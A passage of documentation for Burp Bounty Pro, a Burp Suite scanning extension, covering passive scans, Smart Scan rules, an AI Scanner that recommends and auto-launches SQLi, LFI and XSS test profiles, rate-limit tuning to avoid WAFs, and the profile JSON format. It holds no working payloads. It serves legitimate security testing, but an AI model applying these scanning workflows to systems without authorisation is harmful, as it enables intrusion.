* 🎯 **Focused scanning** — Run only the passive profiles relevant to your current task
* ⚡ **Faster results** — Skip irrelevant profiles to reduce processing time
* 📂 **Organized workflow** — Group profiles by vulnerability class, technology, or engagement

> 💡 **Example:** You've just discovered a new WordPress site. Right-click the request, select **Passive Scan** > **Passive Response** > **Technology** to quickly check what technologies are detected, without running all 125 passive profiles.

### 🔄 Live Passive Scan (Automatic)

Live Passive Scan runs automatically in the background as traffic passes through Burp Suite:

1. Go to the **Burp Bounty Pro** tab > **Dashboard**
2. Toggle the **Live Passive Scan** button to "on"
3. All HTTP traffic passing through Burp Suite is automatically analyzed by enabled passive profiles
4. When enabled, the **Scope Only** checkbox restricts scanning to in-scope targets

### 🔗 URL Filtering

When launching passive scans manually, the URL filter popup appears (same as Active Scan), giving you control over:

* ✅ Which URLs to include/exclude
* 🌐 Domain filtering
* 📄 File extension filtering
* 🔄 Match and Replace rules for request modification

## 🔄 Passive Scan Flow

```
HTTP Traffic → Burp Suite Proxy
  │
  ├─ 📨 Request → Passive Request Profiles (filtered by tag if selected)
  │   ├─ Match grep patterns against request URL, headers, body
  │   └─ 🐛 Report findings as Information issues
  │
  └─ 📩 Response → Passive Response Profiles (filtered by tag if selected)
      ├─ Match grep patterns against response headers, body
      └─ 🐛 Report findings as Information issues
```

## 📊 Passive Scanner Tab

Passive scan results are displayed in the dedicated **Scanners** > **Passive** sub-tab:

* Lists each scanned request with host, method, URL, parameter count, and findings summary
* Tracks which passive profiles matched for each request
* Includes request/response viewers for inspection

## 📝 Managing Passive Profiles

### 📊 Profile Tables

Passive profiles are displayed in two tables within the **Profiles** tab:

| Column                  | Description                                                            |
| ----------------------- | ---------------------------------------------------------------------- |
| ✅ **Enabled**           | Checkbox to enable/disable the profile                                 |
| 📝 **Profile Name**     | Name of the passive profile                                            |
| 🏷️ **Tags**            | Tags assigned to the profile (e.g., "All, Security\_Headers, Secrets") |
| 🐦 **Author's Twitter** | Profile author's Twitter handle                                        |

### 🖱️ Context Menu (Right-Click)

Right-click on one or more selected profiles to access:

| Action              | Description                                                                                                                                                            |
| ------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ✅ **Enable**        | Enable the selected profile(s)                                                                                                                                         |
| ❌ **Disable**       | Disable the selected profile(s)                                                                                                                                        |
| 🏷️ **Set New Tag** | Assign a new tag to the selected profile(s). Opens a dialog where you enter the tag name. The tag is added to the profile's `.bb` file and appears in the Tags column. |

> 💡 **Tip:** Select multiple profiles with **Ctrl+Click** or **Shift+Click**, then right-click **Set New Tag** to tag them all at once. This is a fast way to organize your passive profiles into categories.

## 🧠 Integration with Smart Scan

Passive scan findings are the foundation of **Smart Scan** rules. When a passive profile matches, it can automatically trigger active scanning:

```
👁️ Passive Match → 📋 Rule Condition Met → 🎯 Active Profiles Execute
```

For example:

* 📨 Passive Request profile detects WordPress URLs → Rule triggers WordPress vulnerability profiles
* 📩 Passive Response profile detects Jira headers → Rule triggers Jira CVE profiles
* 📨 Passive Request profile detects SQLi-like parameters → Rule triggers SQLi active profiles

See [Smart Scan](/scanning/smart-scan) for details.

## 🚫 Excluded File Extensions

To reduce noise, passive scanning automatically excludes responses with these file extensions:

`jpg`, `gif`, `png`, `css`, `svg`, `woff`, `woff2`, `ttf`, `eot`, `ico`, `pdf`, `swf`, `mp3`, `mp4`, `avi`, `mov`

## 📖 Creating Passive Profiles

Passive profiles use the same grep/match system as active profiles but without payloads or insertion points. See:

* 📝 [Creating Passive Profiles](/profiles/creating-passive-profile)
* 🔍 [Grep Options](/profiles/grep-options)
* 🏷️ [Tags](/profiles/tags) — How to organize profiles with tags

## 📚 Examples

### 🛡️ Detecting Missing Security Headers

A Passive Response profile that checks for missing `Strict-Transport-Security` header:

```json
{
  "ProfileName": "Strict-Transport-Security",
  "Scanner": 2,
  "Tags": ["All", "Security_Headers"],
  "Grep": [
    "true,,Simple String,Only in Headers,Strict-Transport-Security"
  ],
  "NotResponse": true,
  "IssueSeverity": "Information"
}
```

The `NotResponse: true` flag inverts the match — the issue is reported when the pattern is **NOT** found.

### 💉 Detecting Interesting Parameters

A Passive Request profile that detects URL parameters commonly associated with SQL injection:

```json
{
  "ProfileName": "SQLi_Parameters",
  "Scanner": 3,
  "Tags": ["All", "Parameters", "SQLi"],
  "Grep": [
    "true,,Regex,,[?&](id|user_id|item|no|number|order)=",
    "true,OR,Regex,,[?&](select|report|role|update|query)=",
    "true,OR,Regex,,[?&](col|row|search|table|field)="
  ],
  "IssueSeverity": "Information"
}
```

### 🔄 Workflow: Tag-Based Passive Scan

1. 🏷️ **Organize passive profiles** with descriptive tags:
   * Security header profiles → `Security_Headers`
   * Secret detection profiles → `Secrets`
   * Parameter detection profiles → `Parameters`
   * Cookie analysis profiles → `Cookie_Security`
2. 🎯 **Launch focused scans** from the context menu:
   * Quick security header audit → **Passive Response** > **Security\_Headers**
   * Check for leaked secrets → **Passive Response** > **Secrets**
   * Identify interesting parameters → **Passive Request** > **Parameters**
3. 🧠 **Combine with Smart Scan** for automation:
   * Parameter detection → automatically trigger SQLi/XSS active profiles
   * Technology detection → automatically trigger CVE profiles


# Smart Scan

Smart Scan is one of the most powerful features of Burp Bounty Pro. It uses **Rules** to automatically trigger active scanning profiles when specific passive conditions are detected — creating intelligent, context-aware scanning workflows.

## 💡 Concept

Smart Scan follows an **IF-THEN** pattern:

```
IF passive profile(s) match → THEN execute active profile(s)
```

This means:

1. 👁️ **Passive profiles** continuously analyze all traffic (requests and responses)
2. 📋 When a passive profile matches, **rules** check if conditions are met
3. 🎯 If conditions are met, **active profiles** are automatically executed against the matched request

## ❓ Why Smart Scan?

Instead of running all active profiles against every request (which is slow and noisy), Smart Scan:

* ⚡ **Reduces scan time** — Only tests relevant vulnerabilities for each target
* 🎯 **Reduces false positives** — Only scans when context suggests a vulnerability is likely
* 🤖 **Automates workflows** — No manual intervention needed to target specific technologies
* 🖥️ **Enables technology-specific testing** — Detects WordPress, Jira, Spring, etc. and runs their CVE profiles

## ⚙️ How It Works

### 📘 Example: WordPress Detection

1. 👁️ **Passive Response profile** `Wordpress detection` matches responses containing WordPress indicators (e.g., `wp-content`, `wp-includes`)
2. 📋 **Rule** `Wordpress_Rule` is configured:
   * **IF**: Passive Response profile `Wordpress detection` matches
   * **THEN**: Execute active profiles: `Wordpress_user_enum_oembed`, `Wordpress_user_enum_json`, `Wordpress_directory_listing`, `Wordpress_Path_Traversal`, `Wordpress_Config_Accessible`, etc.
3. 🎯 **Active scanning** automatically begins on the matched request with WordPress-specific profiles

### 📘 Example: SQL Injection Parameter Detection

1. 👁️ **Passive Request profile** `SQLi_Parameters` detects parameters like `id=`, `user_id=`, `query=`
2. 📋 **Rule** `SQLi_Rule` is configured:
   * **IF**: Passive Request profile `SQLi_Parameters` matches
   * **THEN**: Execute active profiles: `SQLi`, `SQLi_Timebased_Encoded_Space`
3. 🎯 **Active scanning** targets only the requests with suspicious parameters

## 📋 Rule Structure

Each rule consists of:

### 🔍 Match Conditions (IF)

One or more passive profile matches that must be satisfied:

* 📨 **Passive Request profiles** — Match patterns in HTTP requests
* 📩 **Passive Response profiles** — Match patterns in HTTP responses
* 🔗 **Logic operators** — Combine conditions with AND/OR:
  * **AND** — All conditions must match
  * **OR** — At least one condition must match

### 🎯 Execute Actions (THEN)

What to do when conditions are met:

* 📝 **Execute specific profiles** — Run named active profiles
* 🏷️ **Execute profiles by tag** — Run all active profiles with a specific tag (e.g., all profiles tagged "XSS")
* 🎯 **Match scope** — Execute on "All Matches" or "First Match" only

## 🔄 Smart Scan Flow

```
HTTP Traffic
  │
  ├─ 📨 Passive Request Profile matches request
  │   └─ 📋 Check Rules → IF condition met → 🎯 Execute Active Profiles on this request
  │
  └─ 📩 Passive Response Profile matches response
      └─ 📋 Check Rules → IF condition met → 🎯 Execute Active Profiles on this request
```

## 📊 Smart Scanner Tab

Smart Scan results are displayed in the dedicated **Scanners** > **Smart** sub-tab:

* Lists each evaluated request with host, method, URL, and matched rules
* Shows which active profiles were launched and scan count
* Includes request/response viewers for inspection

## ⚙️ Configuration

### ⚡ Scanner Settings

When Smart Scan rules trigger active scans automatically, they use default scanner settings (**10 threads**, **10 concurrency**, **10 RPS**). These defaults are suitable for most scenarios.

When you manually launch a Smart Scan via the context menu, the URL Filter popup appears with context-aware settings:

| Setting                    | Description                                    |
| -------------------------- | ---------------------------------------------- |
| 🧵 **Threads**             | Number of threads for the scan                 |
| 🔀 **Passive Concurrency** | Maximum concurrent passive profile evaluations |
| 🔀 **Active Concurrency**  | Maximum concurrent active scan connections     |
| 📈 **Requests per second** | Rate limit for the scan                        |

See [Scan Control](/scanning/scan-control) for details on per-scan performance configuration.

### ✅ Enabling/Disabling Rules

* Go to **Burp Bounty Pro** > **Rules** tab
* Enable/disable individual rules with the checkbox
* Only enabled rules participate in Smart Scan

## 📦 Default Rules

Burp Bounty Pro ships with 28 pre-configured rules covering:

* 🖥️ **Technology detection** — WordPress, Jira, Spring Boot, Drupal, Symfony, Weblogic, CouchDB, etc.
* 💉 **Vulnerability parameters** — SQLi, XSS, RCE, LFI, SSRF, SSTI, Open Redirect
* 🌐 **Bulk scanning** — Disabled by default: scan all requests with specific profile groups

See [Default Rules](/reference/default-rules) for the complete list.

## 📖 Creating Custom Rules

See [Creating Rules](/rules/creating-rules) for a step-by-step guide.


# AI Scanner

The AI Scanner uses artificial intelligence to analyze HTTP requests and responses, automatically identifying potential attack surfaces and recommending the most relevant scan profiles — without needing to define rules manually.

## 💡 Concept

The AI Scanner acts as an intelligent reconnaissance layer:

```
HTTP Request → AI Analysis → Findings (parameters + attack types) → Auto-launch Active Profiles
```

Instead of relying on predefined passive rules, the AI Scanner:

* 🔍 **Analyzes every parameter** in the request (URL, body, cookies, JSON, XML, headers)
* 🧠 **Correlates parameter names** with known attack patterns (e.g., `id` → SQLi, `file` → LFI, `url` → SSRF)
* 🪞 **Detects reflection contexts** programmatically (HTML body, JavaScript, attributes, headers)
* 🖥️ **Fingerprints technologies** from response headers and body (WordPress, Jira, Spring, Grafana, etc.)
* 🎯 **Recommends specific profiles** from your active profile library
* ⚡ **Auto-launches active scans** with the recommended profiles (if enabled)

## ⚙️ How It Works

### Analysis Pipeline

1. **Request Preprocessing** — Extracts method, URL, headers, body, parameters, and their types
2. **Programmatic Response Analysis** — Detects parameter reflections, reflection contexts (HTML body, JavaScript, CSS, attributes, event handlers, URL attributes), and security headers
3. **AI Analysis** — Sends the structured data to an AI model with the full profile taxonomy, parameter name correlations, and confidence calibration rules
4. **Result Parsing** — Parses the AI response into structured findings with parameters, attack types, confidence levels, and recommended profiles
5. **Auto-Scan** *(optional)* — Automatically launches active scans using the recommended profiles

### AI Providers

The AI Scanner supports multiple AI providers:

| Provider           | Default Model            | Default Endpoint                                    |
| ------------------ | ------------------------ | --------------------------------------------------- |
| **OpenAI**         | gpt-4o                   | `https://api.openai.com/v1/chat/completions`        |
| **Anthropic**      | claude-sonnet-4-20250514 | `https://api.anthropic.com/v1/messages`             |
| **Google Gemini**  | gemini-pro               | `https://generativelanguage.googleapis.com/v1beta/` |
| **OpenRouter**     | (configurable)           | `https://openrouter.ai/api/v1/chat/completions`     |
| **Local (Ollama)** | (configurable)           | `http://localhost:11434/api/chat`                   |

You can use any model available through these providers by changing the **Model** field in Settings.

## 🚀 Launching an AI Scan

### From Context Menu

1. Select one or more requests from **Proxy History**, **Target Site Map**, **Repeater**, or any other Burp tool
2. Right-click and select **AI Scanner** from the Burp Bounty Pro context menu
3. The **URL Filter popup** appears — review URLs and configure scanner settings
4. Click **OK** to start the AI analysis

> ⚠️ **API Key Required:** If no API key is configured, a popup will prompt you to set one up in **Settings** before scanning.

### From the Scanners Tab

1. Go to **Burp Bounty Pro** > **Scanners** > **AI** sub-tab
2. View all AI scan entries with their status and findings

## 📊 AI Scanner Tab

The AI Scanner tab (under **Scanners** > **AI**) displays:

### Results Table

| Column         | Description                                 |
| -------------- | ------------------------------------------- |
| **#**          | Entry ID                                    |
| **Status**     | Analyzing, Complete, Error                  |
| **Host**       | Target hostname                             |
| **Method**     | HTTP method                                 |
| **URL**        | Full request URL                            |
| **Parameters** | Number of parameters detected               |
| **Findings**   | Summary of findings (e.g., "1 High, 2 Med") |

### Detail Panel

When you select an entry:

* **Request/Response** tabs show the original HTTP request and response
* **AI Response** tab shows the full JSON response from the AI model

### Entry Controls

| Action         | Description                          |
| -------------- | ------------------------------------ |
| ⏸️ **Pause**   | Pause the AI analysis for this entry |
| ▶️ **Resume**  | Resume a paused entry                |
| ❌ **Cancel**   | Cancel the analysis                  |
| 🗑️ **Remove** | Remove the entry from the list       |
| 🗑️ **Clear**  | Remove all entries                   |

## 🔍 Finding Structure

Each finding from the AI Scanner contains:

| Field                       | Description                                                                                                                                            |
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **parameter**               | The real parameter name from the request                                                                                                               |
| **parameter\_type**         | url, body, cookie, header, json, xml, multipart                                                                                                        |
| **insertion\_point\_hint**  | Where to inject payloads (e.g., param\_url\_value, param\_body\_value)                                                                                 |
| **reflected**               | Whether the parameter value appears in the response                                                                                                    |
| **reflection\_contexts**    | Where it's reflected: html\_body, javascript, html\_attribute, url\_attribute, event\_handler, css, html\_comment, response\_header, json\_value, none |
| **response\_content\_type** | Response Content-Type header                                                                                                                           |
| **attack\_types**           | Applicable attack types (SQLi, XSS, RCE, LFI, SSRF, SSTI, XXE, etc.)                                                                                   |
| **confidence**              | high, medium, or low                                                                                                                                   |
| **priority**                | 1 (Critical) to 5 (Informational)                                                                                                                      |
| **technology\_detected**    | Technology fingerprint found (e.g., wordpress, jira, spring) or null                                                                                   |
| **reasoning**               | Brief explanation of why this parameter is interesting                                                                                                 |
| **recommended\_profiles**   | Exact profile names to use for testing                                                                                                                 |

### Confidence Levels

| Level      | Criteria                                                                                                                                                                                                              |
| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **high**   | Parameter reflected in dangerous context (HTML body unencoded, JavaScript block, Location header) without output encoding. Or direct evidence: SQL error messages, file contents in response, template engine output. |
| **medium** | Parameter name correlates strongly with an attack type. Or parameter reflected but in safer context (HTML attribute with encoding, JSON response).                                                                    |
| **low**    | Generic parameter without reflection and without strong name correlation, but accepts user input and at least one attack is plausible.                                                                                |

## 🎯 Auto-Scan

When **Auto-scan after analysis** is enabled, the AI Scanner automatically launches active scans using the recommended profiles from the AI analysis:

1. The AI returns findings with `recommended_profiles` for each parameter
2. Each recommended profile name is matched against your enabled active profiles (case-insensitive)
3. Matched profiles are collected and launched as an active scan against the original request
4. The launched profiles are displayed in the AI Scanner results

### Example Flow

```
Request: GET /product?id=1&cat=5
  │
  ├─ AI Analysis finds:
  │   ├─ id → SQLi (medium) → profiles: SQLi, SQLi_TimeBased
  │   └─ cat → SQLi (medium) → profiles: SQLi, SQLi_TimeBased
  │
  └─ Auto-scan launches: SQLi, SQLi_TimeBased profiles against /product?id=1&cat=5
```

## ⚙️ Settings

AI Scanner settings are accessed from the **Settings** dialog within the AI Scanner tab.

### General Settings

| Setting                      | Description                                                 | Default          |
| ---------------------------- | ----------------------------------------------------------- | ---------------- |
| **Enable**                   | Enable/disable AI Scanner                                   | Enabled          |
| **Auto-scan after analysis** | Automatically launch active scans with recommended profiles | Enabled          |
| **Provider**                 | AI provider to use                                          | OpenAI           |
| **API Key**                  | API key for the selected provider                           | (empty)          |
| **Model**                    | AI model name                                               | gpt-4o           |
| **Endpoint**                 | API endpoint URL                                            | Provider default |

### Prompt Customization

The AI Scanner uses two prompts that can be fully customized via the **Edit Prompts** button:

* **System Prompt** — Defines the AI's role, profile taxonomy, analysis rules, confidence calibration, and output schema
* **User Prompt Template** — Template for each request analysis, with placeholders:
  * `{REQUEST}` — Full HTTP request
  * `{PARAMETERS}` — Extracted parameters with types and reflection data
  * `{RESPONSE_HEADERS}` — Response headers
  * `{RESPONSE_ANALYSIS}` — Programmatic response analysis (reflections, contexts, security headers)
  * `{AVAILABLE_PROFILES}` — List of all active profiles with tags

> 💡 **Tip:** The default prompts include comprehensive profile taxonomy, parameter name correlations, and examples. Customize them to fit your specific workflow or to add custom profile categories.

### Prompt Auto-Update

When you update Burp Bounty Pro, if the saved prompts are outdated (missing new schema fields or sections), they are automatically reset to the new defaults to ensure compatibility.

## 🖥️ Technology Detection

The AI Scanner can detect technologies from response data and recommend technology-specific CVE profiles:

| Technology     | Detection Indicators                       | Example Profiles                                          |
| -------------- | ------------------------------------------ | --------------------------------------------------------- |
| WordPress      | /wp-content/, /wp-admin/, wp-json          | Wordpress\_Path\_Traversal, Wordpress\_Config\_Accessible |
| Jira/Atlassian | /rest/api/, X-ASEN header, atlassian-token | CVE-2021-26086, CVE-2019-8442                             |
| Spring Boot    | /actuator/, X-Application-Context          | Spring\_Boot\_Actuators, CVE-2020-5410                    |
| Grafana        | /api/dashboards/, grafana in paths         | CVE-2021-43798\_Grafana\_LFI                              |
| GraphQL        | /graphql endpoint, query in body           | Graphql Introspection, GraphQL Batching                   |
| Drupal         | X-Drupal-Cache, /node/                     | Drupal\_User\_Enum                                        |
| Symfony        | X-Debug-Token, /\_profiler/                | Symfony\_Debug                                            |

Technology-specific profiles are only recommended when evidence is found in the response.

## 📚 Examples

### SQLi Parameter Detection

```
Request: GET /api/users?id=42&sort=name HTTP/1.1
```

AI finding:

```json
{
  "parameter": "id",
  "parameter_type": "url",
  "insertion_point_hint": "param_url_value",
  "reflected": false,
  "reflection_contexts": ["none"],
  "attack_types": ["SQLi"],
  "confidence": "medium",
  "priority": 3,
  "reasoning": "Numeric parameter 'id' is a classic SQLi candidate.",
  "recommended_profiles": ["SQLi", "SQLi_TimeBased", "SQLi_Collaborator"]
}
```

### LFI with File Path

```
Request: GET /image?file=./pictures/photo.jpg HTTP/1.1
```

AI finding:

```json
{
  "parameter": "file",
  "parameter_type": "url",
  "insertion_point_hint": "param_url_value",
  "reflected": false,
  "reflection_contexts": ["none"],
  "attack_types": ["LFI"],
  "confidence": "medium",
  "priority": 2,
  "reasoning": "Parameter 'file' controls the file path, making it a strong LFI candidate.",
  "recommended_profiles": ["PathTraversal_Linux", "PathTraversal_Windows"]
}
```

### Reflected XSS Detection

```
Request: GET /search?q=test HTTP/1.1
Response: <h1>Results for: test</h1>
```

AI finding:

```json
{
  "parameter": "q",
  "parameter_type": "url",
  "insertion_point_hint": "param_url_value",
  "reflected": true,
  "reflection_contexts": ["html_body"],
  "attack_types": ["XSS"],
  "confidence": "high",
  "priority": 2,
  "reasoning": "Parameter 'q' reflected unencoded in HTML body.",
  "recommended_profiles": ["XSS", "XSS_GETPOST", "Test_XSS_append"]
}
```


# Scan Control

Burp Bounty Pro provides granular control over scan execution, including pause/resume functionality, per-scan configurable thread pools, request rate limiting, and automatic optimization features.

## 🎮 Dashboard Controls

The Dashboard tab provides the following control buttons:

| Button               | Action                                                                                                               |
| -------------------- | -------------------------------------------------------------------------------------------------------------------- |
| ⏸️ **Pause All**     | Pauses all running scan tasks. Threads block at a safe synchronization point and resume exactly where they left off. |
| ▶️ **Resume All**    | Resumes all paused tasks. All blocked threads wake up and continue scanning without losing state.                    |
| ⏹️ **Stop**          | Stops all scans and clears the task queue. Running tasks are interrupted.                                            |
| 🗑️ **Clear Issues** | Clears the issues table (does not affect Burp Suite's issue list).                                                   |

> 📝 **Note:** Pause/Resume preserves full scan state — no scan progress is lost. Tasks continue from the exact point where they were paused.

## ⏸️ Pause & Resume

Burp Bounty Pro implements true, thread-safe pause/resume using a custom **PausableThreadPoolExecutor** — a thread pool that suspends execution without destroying threads or losing state.

### 🔧 How It Works

```
                    ┌──────────────┐
                    │  Scheduler   │
                    │ (per scan)   │
                    └──────┬───────┘
                           │
              ┌────────────▼────────────┐
              │ PausableThreadPoolExecutor │
              │                            │
              │  ┌─ Thread 1 ──┐           │
              │  │ beforeExecute() ──► if isPaused:    │
              │  │                       condition.await() │
              │  │              │           │
              │  ├─ Thread 2 ──┤           │
              │  ├─ Thread 3 ──┤           │
              │  └─ Thread N ──┘           │
              └────────────────────────────┘
```

1. Each scan creates its own `Scheduler` wrapping a `PausableThreadPoolExecutor`
2. When **Pause** is activated, the executor sets `isPaused = true`
3. Each thread checks `isPaused` in `beforeExecute()` — if paused, the thread blocks on a `Condition.await()`
4. When **Resume** is activated, `isPaused` is set to `false` and `Condition.signalAll()` wakes all blocked threads
5. ✅ Threads continue execution from exactly where they paused

### ⏱️ Pause Time Tracking

Burp Bounty Pro tracks the total time each scan spends paused. This paused time is subtracted from the scan duration calculation, ensuring accurate scan time reporting in the Dashboard. If you pause a scan for 10 minutes, the reported scan time reflects only the active scanning time.

### 🌐 Individual vs. Global Pause

* ⏸️ **Pause All / Resume All** — Controls all running scans at once from the Dashboard
* Each `ScanManager` instance maintains its own independent pause state via its own `Scheduler`

## ⚡ Per-Scan Scanner Settings

Scanner settings are configured **per scan** in the URL filter popup that appears before launching each scan. This allows different scans to use different thread counts and request rates.

### 📊 Configuration Fields

| Setting                    | Description                                                                                                                               | Default |
| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | ------- |
| 🧵 **Threads**             | Number of threads in the scan's thread pool. Each scan creates its own independent `Scheduler` with this many threads.                    | 10      |
| 🔀 **Concurrency**         | Maximum concurrent connections for the scan. Controls how many HTTP requests can be in-flight simultaneously.                             | 10      |
| 📈 **Requests per second** | Rate limit for the scan. Controls the maximum number of requests sent per second. A value of 10 means one request every 100ms per thread. | 10      |

### 🔧 How Per-Scan Settings Work

```
Scan Launch Popup (FilterURLs)
  │
  ├─ 🔗 URL selection and filtering
  ├─ 🔄 Match and Replace rules
  └─ ⚡ Scanner Settings
      ├─ Threads: [10]
      ├─ Concurrency: [10]
      └─ Requests per second: [10]
          │
          ▼
     ScanManager created with these values
          │
          ▼
     Scheduler(threads) → PausableThreadPoolExecutor
```

Each scan is independent — you can run one scan with 20 threads against a robust target and another with 2 threads against a rate-limited target, simultaneously.

### 📋 Recommended Configurations

| Scenario                    | Threads | Concurrency | RPS | Notes                                    |
| --------------------------- | ------- | ----------- | --- | ---------------------------------------- |
| 🏴‍☠️ **Bug Bounty (fast)** | 20      | 20          | 50  | Stable targets with no rate limiting     |
| 🔒 **Penetration Test**     | 10      | 10          | 10  | Balanced speed and stealth               |
| 🛡️ **Rate-Limited Target** | 3       | 3           | 2   | Avoid triggering WAF or rate limits      |
| 🏥 **Sensitive Production** | 2       | 2           | 1   | Minimal impact on live systems           |
| 🏢 **Internal Network**     | 30      | 30          | 100 | Fast scanning on internal infrastructure |

> 💡 **Tip:** If a target starts returning 429 (Too Many Requests) or dropping connections, reduce the Threads and RPS values. You can also pause the scan, wait a moment, and resume.

### 🧠 Smart Scan Default Values

When Smart Scan rules trigger active scans automatically (without a manual popup), default values of **10 threads**, **10 concurrency**, and **10 RPS** are used. These are suitable for most scenarios.

## 🎯 Stop-on-First-Match

When a payload matches for a given profile and insertion point, Burp Bounty Pro automatically stops testing remaining payloads for that same combination.

**How it works:**

1. A shared `AtomicBoolean` flag is created per (profile + insertion point) combination
2. All payloads for that combination are scheduled as parallel tasks
3. When one task finds a match, it sets the flag to `true`
4. Other tasks check the flag before executing and skip if it's already set

**Benefits:**

* ✅ Prevents duplicate issues for the same vulnerability
* ⬇️ Reduces the number of requests sent to the target
* ⚡ Improves overall scan speed

**Behavior:**

* ⚠️ Due to the parallel nature of scanning, up to 2 issues may occasionally be reported (race condition is benign)
* 🔗 Multi-step profiles have their own stop-on-match logic per step
* 🌐 Collaborator-based profiles (`{BC}`) are excluded from this optimization since detection is asynchronous

## ⏱️ Scan Timeout

Scans are monitored for timeout conditions:

* ⏱️ **Scan Timeout** — If a scan exceeds the configured time limit (configurable in Options, in minutes), it's marked as "❌ Failed"
* 🛑 **Graceful Shutdown** — The thread pool supports a 30-minute graceful shutdown timeout

## 🔄 Redirect Loop Protection

To prevent infinite redirect loops:

* 🛡️ A maximum of **30 redirects** per request chain is enforced
* 🔢 Supported redirect status codes: `300`, `301`, `302`, `303`, `307`, `308`
* 📝 Per-profile redirect limits can be set with the `MaxRedir` field

## 🔁 Duplicate Scan Avoidance

Burp Bounty Pro tracks scan combinations to avoid re-scanning:

* Each (profile + insertion point + payload) combination is tracked
* If a combination has already been scanned, it's skipped on subsequent runs
* This is particularly useful when scanning multiple pages on the same host

## 🔎 Scan Scope (Per-Host Deduplication)

Active profiles support a `scanScope` setting:

| scanScope | Mode                  | Behavior                                      |
| --------- | --------------------- | --------------------------------------------- |
| 0         | **Per-URL** (default) | Profile runs on every URL scanned             |
| 1         | **Per-Host**          | Profile runs once per `host:port` combination |

Per-host deduplication is tracked via a thread-safe Set with keys in the format `profileName:host:port`. This eliminates redundant scans for profiles that test fixed paths (directory fuzzing, CVE probes, raw requests).

See [Active Scan](/scanning/active-scan#-scan-scope) for details.

## 🔢 Max Concurrent Scans

Limit the total number of concurrent scans running at any time:

* Configurable in **Options** > **Max Scans**
* Prevents excessive resource consumption when scanning multiple targets simultaneously


# Overview

Profiles are the building blocks of Burp Bounty Pro. Each profile defines a complete vulnerability test: what payloads to send, where to inject them, and how to determine if the test was successful.

## 📂 Profile Types

Burp Bounty Pro supports three types of profiles, identified by the `Scanner` field:

| Scanner Value | Type                 | Description                                |
| ------------- | -------------------- | ------------------------------------------ |
| 🎯 1          | **Active**           | Sends payloads to test for vulnerabilities |
| 📩 2          | **Passive Response** | Analyzes HTTP responses for patterns       |
| 📨 3          | **Passive Request**  | Analyzes HTTP requests for patterns        |

## 📄 Profile File Format

Profiles are stored as JSON files with the `.bb` extension. Each file contains an array of profile objects:

```json
[
  {
    "ProfileName": "My_Profile",
    "Name": "",
    "Enabled": true,
    "Scanner": 1,
    "Author": "@yourname",
    "Payloads": [...],
    "Grep": [...],
    "MatchType": 1,
    ...
  }
]
```

## 🏗️ Profile Structure

### 📌 Core Fields

| Field         | Type      | Description                                                   |
| ------------- | --------- | ------------------------------------------------------------- |
| `ProfileName` | String    | Unique identifier for the profile                             |
| `Name`        | String    | Display name (optional)                                       |
| `Enabled`     | Boolean   | Whether the profile is active                                 |
| `Scanner`     | Integer   | Profile type: 1=Active, 2=Passive Response, 3=Passive Request |
| `Author`      | String    | Profile creator                                               |
| `Tags`        | String\[] | Tags for categorization and rule targeting                    |

### 💉 Payload Configuration (Active profiles)

| Field              | Type      | Description                                    |
| ------------------ | --------- | ---------------------------------------------- |
| `Payloads`         | String\[] | List of payloads (format: `"enabled,payload"`) |
| `Encoder`          | String\[] | Encoding transformations to apply              |
| `UrlEncode`        | Boolean   | URL-encode the payload                         |
| `CharsToUrlEncode` | String    | Specific characters to URL-encode              |
| `payloadsFile`     | String    | Path to external payloads file                 |
| `payloadPosition`  | Integer   | 1=Replace, 2=Append, 3=Insert                  |

### 🔍 Detection Configuration

| Field             | Type      | Description                                                      |
| ----------------- | --------- | ---------------------------------------------------------------- |
| `Grep`            | String\[] | Match patterns (format: `"enabled,operator,type,scope,pattern"`) |
| `MatchType`       | Integer   | Detection method (1-9)                                           |
| `grepsFile`       | String    | Path to external greps file                                      |
| `PayloadResponse` | Boolean   | Check if payload is reflected in response                        |
| `NotResponse`     | Boolean   | Invert match (vulnerability when pattern NOT found)              |
| `CaseSensitive`   | Boolean   | Case-sensitive matching                                          |

### 🔽 Response Filtering

| Field                  | Type    | Description                          |
| ---------------------- | ------- | ------------------------------------ |
| `ExcludeHTTP`          | Boolean | Exclude HTTP header from match scope |
| `OnlyHTTP`             | Boolean | Only match in HTTP headers           |
| `IsContentType`        | Boolean | Filter by Content-Type               |
| `ContentType`          | String  | Expected Content-Type value          |
| `NegativeCT`           | Boolean | Invert Content-Type filter           |
| `IsResponseCode`       | Boolean | Filter by HTTP status code           |
| `ResponseCode`         | String  | Expected status code                 |
| `NegativeRC`           | Boolean | Invert status code filter            |
| `isurlextension`       | Boolean | Filter by URL file extension         |
| `urlextension`         | String  | File extension pattern               |
| `NegativeUrlExtension` | Boolean | Invert extension filter              |

### 📡 Request Configuration

| Field                | Type       | Description                            |
| -------------------- | ---------- | -------------------------------------- |
| `requestType`        | Integer    | 1=Standard, 2=Raw request              |
| `rawRequest`         | String     | Raw HTTP request template (for type 2) |
| `InsertionPointType` | Integer\[] | Insertion point types to test          |
| `Scope`              | Integer    | Scanning scope                         |
| `RedirType`          | Integer    | Redirect handling mode                 |
| `MaxRedir`           | Integer    | Maximum number of redirects to follow  |

### 🔄 Request Modification

| Field                   | Type      | Description                         |
| ----------------------- | --------- | ----------------------------------- |
| `changeHttpRequest`     | Boolean   | Modify the HTTP request method      |
| `changeHttpRequestType` | Integer   | 1=POST→GET, 2=GET→POST, 3=Toggle    |
| `Header`                | Object\[] | Match and Replace rules for headers |
| `NewHeaders`            | String\[] | Headers to use as insertion points  |
| `isHeaderValue`         | Boolean   | Use header value as insertion point |

### ⏱️ Time-Based Detection

| Field      | Type    | Description                 |
| ---------- | ------- | --------------------------- |
| `isTime`   | Boolean | Enable time-based detection |
| `TimeOut1` | String  | First timing threshold      |
| `TimeOut2` | String  | Second timing threshold     |

### 📏 Content Length Detection

| Field             | Type    | Description                      |
| ----------------- | ------- | -------------------------------- |
| `iscontentLength` | Boolean | Enable content length comparison |
| `contentLength`   | String  | Content length threshold         |

### 📊 Variation Detection

| Field                 | Type      | Description                    |
| --------------------- | --------- | ------------------------------ |
| `VariationAttributes` | String\[] | Response attributes to compare |

### 🐛 Issue Properties

| Field                   | Type   | Description                                                           |
| ----------------------- | ------ | --------------------------------------------------------------------- |
| `IssueName`             | String | Vulnerability name                                                    |
| `IssueSeverity`         | String | High, Medium, Low, Information, False positive                        |
| `IssueConfidence`       | String | Certain, Firm, Tentative                                              |
